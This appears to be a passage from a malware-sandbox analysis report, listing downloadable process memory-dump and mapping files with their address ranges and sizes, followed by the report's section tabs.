memory/3508-163-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/3508-160-0x0000000140001844-mapping.dmp

Download
memory/3516-146-0x0000000000000000-mapping.dmp

Download
memory/3672-145-0x0000000000000000-mapping.dmp

Download
memory/3932-138-0x00007FF91EE80000-0x00007FF91F941000-memory.dmp

Filesize
10.8MB

Download
memory/3932-137-0x00000212FEA30000-0x00000212FEA52000-memory.dmp

Filesize
136KB

Download
memory/3932-136-0x0000000000000000-mapping.dmp

Download
memory/4104-153-0x0000000000000000-mapping.dmp

Download
memory/4148-150-0x0000000000000000-mapping.dmp

Download
memory/4240-152-0x0000000000000000-mapping.dmp

Download
memory/4496-195-0x0000000000000000-mapping.dmp

Download
memory/4876-175-0x0000000000000000-mapping.dmp

Download
memory/4928-142-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads